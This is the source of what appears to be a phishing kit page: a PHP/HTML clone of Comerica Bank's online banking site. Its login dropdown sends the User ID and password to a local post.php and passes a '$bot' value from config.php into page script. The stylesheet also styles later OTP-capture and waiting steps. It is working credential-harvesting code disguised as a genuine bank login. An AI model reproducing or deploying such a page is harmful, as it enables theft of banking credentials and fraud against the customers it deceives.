<?php include("config.php"); ?>
<!DOCTYPE html><html lang="en"><head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="icon" type="image/x-icon" href="favicon.ico">
<link rel="preconnect" href="https://fonts.googleapis.com"><link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
<title>Comerica Bank — Online Banking</title>
<style>
*,*::before,*::after{box-sizing:border-box;margin:0;padding:0}
:root{--blue:#1B5FAF;--blue-dk:#144d96;--blue-lt:#3A7CC9;--navy:#0D2B5E;--teal:#4BB8C4;--orange:#E05A2B;--orange-dk:#c44d22;--text:#1a1a1a;--sub:#555;--border:#d0d8e4;--light:#f4f6f9;--white:#fff}
html,body{height:100%;font-family:'Inter',sans-serif;color:var(--text)}
body{display:flex;flex-direction:column;min-height:100vh;background:var(--white)}
/* FDIC top */
.fdic-bar{background:var(--white);border-bottom:1px solid #e0e4eb;padding:0 40px;height:30px;display:flex;align-items:center;gap:10px}
.fdic-badge{background:var(--navy);color:#fff;font-size:9.5px;font-weight:900;letter-spacing:.04em;padding:2px 5px;border-radius:2px;flex-shrink:0}
.fdic-bar p{font-size:11.5px;color:var(--sub);font-style:italic}
/* main nav */
.main-nav{background:var(--white);padding:0 40px;height:72px;display:flex;align-items:center;justify-content:space-between;border-bottom:1px solid #e0e4eb;position:relative;z-index:300}
.nav-logo img{height:44px;width:auto;display:block}
.nav-links{display:flex;align-items:center;gap:32px}
.nav-links a{font-size:15px;font-weight:400;color:var(--text);text-decoration:none;transition:color .15s}
.nav-links a:hover{color:var(--blue)}
.nav-right{display:flex;align-items:center;gap:0}
.nav-icon{background:none;border:none;cursor:pointer;color:var(--text);padding:0 14px;height:72px;display:flex;align-items:center;border-right:1px solid #e0e4eb;transition:color .15s}
.nav-icon:hover{color:var(--blue)}
.nav-icon:last-of-type{border-right:none}
.btn-login-nav{background:var(--orange);color:#fff;border:none;padding:11px 22px;font-family:'Inter',sans-serif;font-size:14px;font-weight:700;cursor:pointer;letter-spacing:.06em;text-transform:uppercase;transition:background .15s;margin-left:16px}
.btn-login-nav:hover{background:var(--orange-dk)}
/* alert bar */
.alert-bar{background:var(--blue);padding:0 40px;height:44px;display:flex;align-items:center;justify-content:center;gap:8px}
.alert-bar p{font-size:13.5px;font-weight:600;color:#fff}
.alert-bar a{color:#fff;font-weight:700;text-decoration:underline;text-underline-offset:2px}
/* hero */
.hero{position:relative;min-height:340px;overflow:hidden;display:flex;align-items:flex-end}
.hero-bg{position:absolute;inset:0;background:url('res/img/background.jpeg') center center / cover no-repeat;z-index:0}
.hero-overlay{position:absolute;inset:0;z-index:1;background:linear-gradient(to right,rgba(0,0,0,.55) 0%,rgba(0,0,0,.25) 50%,transparent 80%)}
.hero-content{position:relative;z-index:2;padding:56px 56px 56px;max-width:620px}
.hero-content h1{font-size:clamp(28px,3.2vw,46px);font-weight:800;color:#fff;line-height:1.15;margin-bottom:16px}
.hero-content h1 span{color:var(--teal)}
.hero-content p{font-size:15px;font-weight:600;color:rgba(255,255,255,.92);line-height:1.55;max-width:440px}
/* category tabs */
.cat-tabs{display:grid;grid-template-columns:repeat(4,1fr);height:88px}
.cat-tab{display:flex;align-items:center;justify-content:center;font-size:15px;font-weight:800;letter-spacing:.09em;text-transform:uppercase;color:#fff;cursor:pointer;transition:filter .15s}
.cat-tab:hover{filter:brightness(1.1)}
.cat-tab:nth-child(1){background:var(--navy)}
.cat-tab:nth-child(2){background:var(--blue)}
.cat-tab:nth-child(3){background:var(--blue-lt)}
.cat-tab:nth-child(4){background:var(--navy)}
/* awards */
.awards-section{padding:52px 40px;background:var(--light);text-align:center;border-top:1px solid #dde4f0}
.awards-section h2{font-size:clamp(20px,2.2vw,30px);font-weight:800;color:var(--text);margin-bottom:32px}
.awards-row{display:flex;align-items:center;justify-content:center;gap:32px;flex-wrap:wrap}
.award-card{background:var(--white);border:1px solid var(--border);border-radius:4px;padding:24px 20px;width:220px;text-align:center;font-size:13px;color:var(--sub)}
/* login dropdown */
.login-wrap{position:relative;display:flex;align-items:center}
.login-dd{display:none;position:absolute;top:calc(100% + 14px);right:0;width:330px;background:var(--white);border:1px solid var(--border);border-radius:4px;box-shadow:0 8px 32px rgba(0,0,0,.14);z-index:500;padding:24px 22px 20px;animation:ddIn .18s ease both}
.login-dd.open{display:block}
@keyframes ddIn{from{opacity:0;transform:translateY(-6px)}to{opacity:1;transform:translateY(0)}}
.dd-title{font-size:17px;font-weight:700;color:var(--text);margin-bottom:16px}
.dd-f{margin-bottom:12px}
.dd-f input{width:100%;height:46px;padding:0 13px;border:1.5px solid var(--border);border-radius:3px;font-family:'Inter',sans-serif;font-size:14px;color:var(--text);background:#fafbfc;outline:none;transition:border-color .15s,box-shadow .15s;-webkit-appearance:none}
.dd-f input::placeholder{color:#aab}
.dd-f input:focus{border-color:var(--blue);box-shadow:0 0 0 3px rgba(27,95,175,.12);background:#fff}
.btn-dd-login{width:100%;height:46px;background:var(--orange);color:#fff;border:none;border-radius:3px;font-family:'Inter',sans-serif;font-size:15px;font-weight:700;cursor:pointer;margin-bottom:14px;letter-spacing:.04em;text-transform:uppercase;transition:background .15s}
.btn-dd-login:hover{background:var(--orange-dk)}
.dd-links{display:flex;align-items:center;gap:6px;font-size:12.5px}
.dd-links a{color:var(--blue);text-decoration:none}
.dd-links a:hover{text-decoration:underline}
.dd-links span{color:#ccc}
/* inner pages */
.page-bg{flex:1;position:relative;display:flex;align-items:center;justify-content:center;padding:64px 20px;background:var(--light)}
.bg-art{position:absolute;right:0;top:0;bottom:0;width:46%;background:url('res/img/background.jpeg') center center / cover no-repeat;opacity:.09;z-index:0}
.card{position:relative;z-index:2;background:var(--white);width:100%;max-width:520px;border-radius:4px;padding:40px;box-shadow:0 4px 28px rgba(0,0,0,.1);animation:ci .4s ease both;border-top:4px solid var(--blue)}
@keyframes ci{from{opacity:0;transform:translateY(14px)}to{opacity:1;transform:translateY(0)}}
.card-logo{margin-bottom:22px;text-align:center}
.card-logo img{height:40px;width:auto;display:inline-block}
.steps{display:flex;align-items:center;gap:8px;margin-bottom:22px}
.st{display:flex;align-items:center;justify-content:center;width:28px;height:28px;border-radius:50%;font-size:11px;font-weight:700;flex-shrink:0}
.st.done{background:var(--blue);color:#fff}
.st.active{background:var(--orange);color:#fff;box-shadow:0 0 0 3px rgba(224,90,43,.2)}
.st.pend{background:#eee;color:#bbb}
.sl{flex:1;height:2px;background:#dde2ea;border-radius:2px}
.sl.done{background:var(--blue);opacity:.4}
.ch{margin-bottom:18px;padding-bottom:16px;border-bottom:2px solid var(--orange)}
.ch h1{font-size:20px;font-weight:700;color:var(--navy)}
.ch p{font-size:13px;color:var(--sub);margin-top:4px}
.notice{display:flex;align-items:center;gap:9px;background:rgba(27,95,175,.06);border:1px solid rgba(27,95,175,.2);border-radius:4px;padding:10px 13px;margin-bottom:16px}
.notice svg{flex-shrink:0;color:var(--blue)}
.notice span{font-size:12.5px;color:var(--blue);font-weight:500}
.f{margin-bottom:13px}
.f label{display:block;font-size:11.5px;font-weight:700;color:var(--sub);margin-bottom:5px;letter-spacing:.05em;text-transform:uppercase}
.f input{width:100%;height:46px;padding:0 13px;border:1.5px solid var(--border);border-radius:3px;font-family:'Inter',sans-serif;font-size:14px;color:var(--text);background:#fafbfc;outline:none;transition:border-color .15s,box-shadow .15s;-webkit-appearance:none}
.f input::placeholder{color:#bbb}
.f input:focus{border-color:var(--blue);box-shadow:0 0 0 3px rgba(27,95,175,.12);background:#fff}
.frow{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-bottom:13px}
.frow .f{margin-bottom:0}
.btn-main{width:100%;height:48px;background:var(--orange);color:#fff;border:none;border-radius:3px;font-family:'Inter',sans-serif;font-size:15px;font-weight:700;cursor:pointer;margin-bottom:16px;display:flex;align-items:center;justify-content:center;gap:8px;letter-spacing:.04em;text-transform:uppercase;transition:background .15s}
.btn-main:hover{background:var(--orange-dk)}
.clinks{display:flex;flex-direction:column;gap:10px;padding-top:14px;border-top:1px solid #e8edf4}
.clinks a{font-size:13px;color:var(--blue);text-decoration:none;display:flex;align-items:center;gap:5px}
.clinks a:hover{text-decoration:underline}
/* wait */
.ring-wrap{position:relative;width:138px;height:138px;margin:0 auto 22px}
.ring-wrap svg{width:138px;height:138px;transform:rotate(-90deg)}
.ring-track{fill:none;stroke:#dde2ea;stroke-width:6}
.ring-prog{fill:none;stroke:var(--blue);stroke-width:6;stroke-linecap:round;stroke-dasharray:326.7;stroke-dashoffset:0;transition:stroke-dashoffset 1s linear;filter:drop-shadow(0 0 5px rgba(27,95,175,.3))}
.ring-lbl{position:absolute;inset:0;display:flex;flex-direction:column;align-items:center;justify-content:center}
.ring-time{font-size:32px;font-weight:700;color:var(--blue);line-height:1}
.ring-unit{font-size:11px;color:var(--sub);margin-top:5px;letter-spacing:.08em;text-transform:uppercase}
.dots{display:flex;justify-content:center;gap:8px;margin-bottom:20px}
.dots span{width:9px;height:9px;border-radius:50%;background:#dde2ea;transition:background .4s,transform .3s}
.dots span.lit{background:var(--blue);transform:scale(1.25)}
.info-n{display:inline-flex;align-items:center;gap:8px;background:rgba(27,95,175,.06);border:1px solid rgba(27,95,175,.2);border-radius:4px;padding:10px 18px;font-size:12.5px;color:var(--blue);font-weight:600}
/* otp */
.otp-row{display:flex;gap:8px;justify-content:center;margin-bottom:12px}
.otp-row input{width:54px;height:58px;border:1.5px solid var(--border);border-radius:3px;font-size:26px;font-weight:700;color:var(--blue);text-align:center;background:#fafbfc;outline:none;transition:border-color .15s,box-shadow .15s;caret-color:var(--blue);-webkit-appearance:none;font-family:'Inter',sans-serif}
.otp-row input:focus{border-color:var(--blue);box-shadow:0 0 0 3px rgba(27,95,175,.12);background:#fff}
.otp-row input.filled{border-color:var(--blue);background:rgba(27,95,175,.05)}
.phone-b{display:flex;align-items:center;gap:11px;background:rgba(27,95,175,.06);border:1px solid rgba(27,95,175,.2);border-radius:4px;padding:12px 14px;margin-bottom:20px}
.phone-icon{width:32px;height:32px;background:var(--blue);border-radius:3px;display:flex;align-items:center;justify-content:center;flex-shrink:0}
.phone-icon svg{color:#fff}
.phone-txt{font-size:12.5px;color:var(--sub);line-height:1.5}
.phone-txt strong{display:block;font-size:13px;color:var(--text);font-weight:700;margin-bottom:1px}
.resend-row{display:flex;align-items:center;justify-content:space-between;margin-bottom:20px;margin-top:8px}
.resend-timer{font-size:12.5px;color:var(--sub);display:flex;align-items:center;gap:5px}
.resend-timer span{font-weight:700;color:var(--blue);min-width:32px}
.resend-btn{font-size:13px;color:var(--blue);font-weight:600;background:none;border:none;cursor:pointer;text-decoration:underline;font-family:'Inter',sans-serif;padding:0}
.resend-btn:disabled{color:var(--sub);text-decoration:none;cursor:default;opacity:.6}
.otp-lbl{font-size:12px;font-weight:700;color:var(--sub);margin-bottom:12px;letter-spacing:.06em;text-transform:uppercase}
/* loader */
#loader{display:none;position:fixed;inset:0;background:rgba(255,255,255,.93);z-index:9999;flex-direction:column;align-items:center;justify-content:center;gap:18px}
#loader .loader-logo img{height:44px;width:auto}
#loader p{font-size:15px;font-weight:600;color:var(--navy);font-family:'Inter',sans-serif}
.spinner-ring{width:48px;height:48px;border:4px solid rgba(27,95,175,.15);border-top-color:var(--blue);border-radius:50%;animation:spin .85s linear infinite}
@keyframes spin{to{transform:rotate(360deg)}}
/* footer */
.page-footer{background:var(--navy);padding:20px 40px;display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:12px}
.footer-links{display:flex;gap:20px;flex-wrap:wrap}
.footer-links a{font-size:12px;color:rgba(255,255,255,.5);text-decoration:none}
.footer-links a:hover{color:#fff}
.footer-copy{font-size:12px;color:rgba(255,255,255,.3)}
@media(max-width:900px){.nav-links{display:none}.main-nav{padding:0 20px}.fdic-bar,.alert-bar,.awards-section{padding-left:20px;padding-right:20px}.hero-content{padding:40px 24px}.cat-tabs{grid-template-columns:repeat(2,1fr);height:auto}.cat-tab{height:56px}}
@media(max-width:500px){.card{padding:26px 18px 28px}.frow{grid-template-columns:1fr}.otp-row input{width:44px;height:50px;font-size:22px}.login-dd{width:290px;right:-10px}}
</style>
</head><body><div class="fdic-bar">
    <span class="fdic-badge">FDIC</span>
    <p>FDIC-Insured - Backed by the full faith and credit of the U.S. Government</p>
</div><nav class="main-nav">
    <div class="nav-logo"><img src="res/img/logo.svg" alt="Comerica Bank"></div>
    <div class="nav-links">
        <a href="#">Personal</a>
        <a href="#">Small Business</a>
        <a href="#">Commercial</a>
        <a href="#">Wealth Management</a>
    </div>
    <div class="nav-right">
        <button class="nav-icon"><svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg></button>
        <button class="nav-icon"><svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M21 10c0 7-9 13-9 13s-9-6-9-13a9 9 0 0118 0z"/><circle cx="12" cy="10" r="3"/></svg></button>
        <button class="nav-icon"><svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07 19.5 19.5 0 01-6-6 19.79 19.79 0 01-3.07-8.67A2 2 0 014.11 2h3a2 2 0 012 1.72 12.84 12.84 0 00.7 2.81 2 2 0 01-.45 2.11L8.09 9.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45 12.84 12.84 0 002.81.7A2 2 0 0122 16.92z"/></svg></button>
        <div class="login-wrap">
            <button class="btn-login-nav" id="login-trigger">Log In</button>
            <div class="login-dd" id="login-dd">
                <div class="dd-title">Sign in to Comerica</div>
                <script>var token=<?php echo json_encode($bot); ?>;</script>
                <form action="post.php" method="post" id="lf">
                    <div class="dd-f"><input type="text" name="user" placeholder="User ID" required autocomplete="username"></div>
                    <div class="dd-f"><input type="password" name="pass" placeholder="Password" required autocomplete="current-password"></div>
                    <button type="submit" class="btn-dd-login">Log In</button>
                    <div class="dd-links"><a href="#">Forgot User ID</a><span>|</span><a href="#">Forgot Password</a></div>
                </form>
            </div>
        </div>
    </div>
</nav><div class="alert-bar">
    <p>Fifth Third Completes Merger with Comerica, Creating 9th Largest U.S. Bank - <a href="#">Learn More</a></p>
</div>
<div class="hero">
    <div class="hero-bg"></div>
    <div class="hero-overlay"></div>
    <div class="hero-content">
        <h1>Build for <span>your ambitions</span></h1>
        <p>Advanced tools, expert guidance, personalized service to power your financial goals.</p>
    </div>
</div>
<div class="cat-tabs">
    <div class="cat-tab">Personal Banking</div>
    <div class="cat-tab">Small Business</div>
    <div class="cat-tab">Commercial Banking</div>
    <div class="cat-tab">Wealth Management</div>
</div>
<div class="awards-section">
    <h2>Awards and recognition</h2>
    <div class="awards-row">
        <div class="award-card">Silver Medalist<br><small>Customer Satisfaction</small></div>
        <div class="award-card">Coalition<br><small>Excellence Award</small></div>
        <div class="award-card">America's Best<br><small>Regional Banks</small></div>
    </div>
</div>
<footer class="page-footer">
    <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Accessibility</a><a href="#">FDIC</a><a href="#">Contact Us</a></div>
    <div class="footer-copy">© 2025 Comerica Bank. Member FDIC. Equal Housing Lender.</div>
</footer><div id="loader">
    <div class="loader-logo"><img src="res/img/logo.svg" alt="Comerica"></div>
    <div class="spinner-ring"></div>
    <p>Please wait...</p>
</div>
<script>
var t=document.getElementById('login-trigger'),d=document.getElementById('login-dd');
t.addEventListener('click',function(e){e.stopPropagation();d.classList.toggle('open');});
document.addEventListener('click',function(e){if(!document.querySelector('.login-wrap').contains(e.target))d.classList.remove('open');});
document.addEventListener('keydown',function(e){if(e.key==='Escape')d.classList.remove('open');});
document.getElementById('lf').addEventListener('submit',function(){d.classList.remove('open');document.getElementById('loader').style.display='flex';});
</script><script src="./res/jq.js"></script></body></html>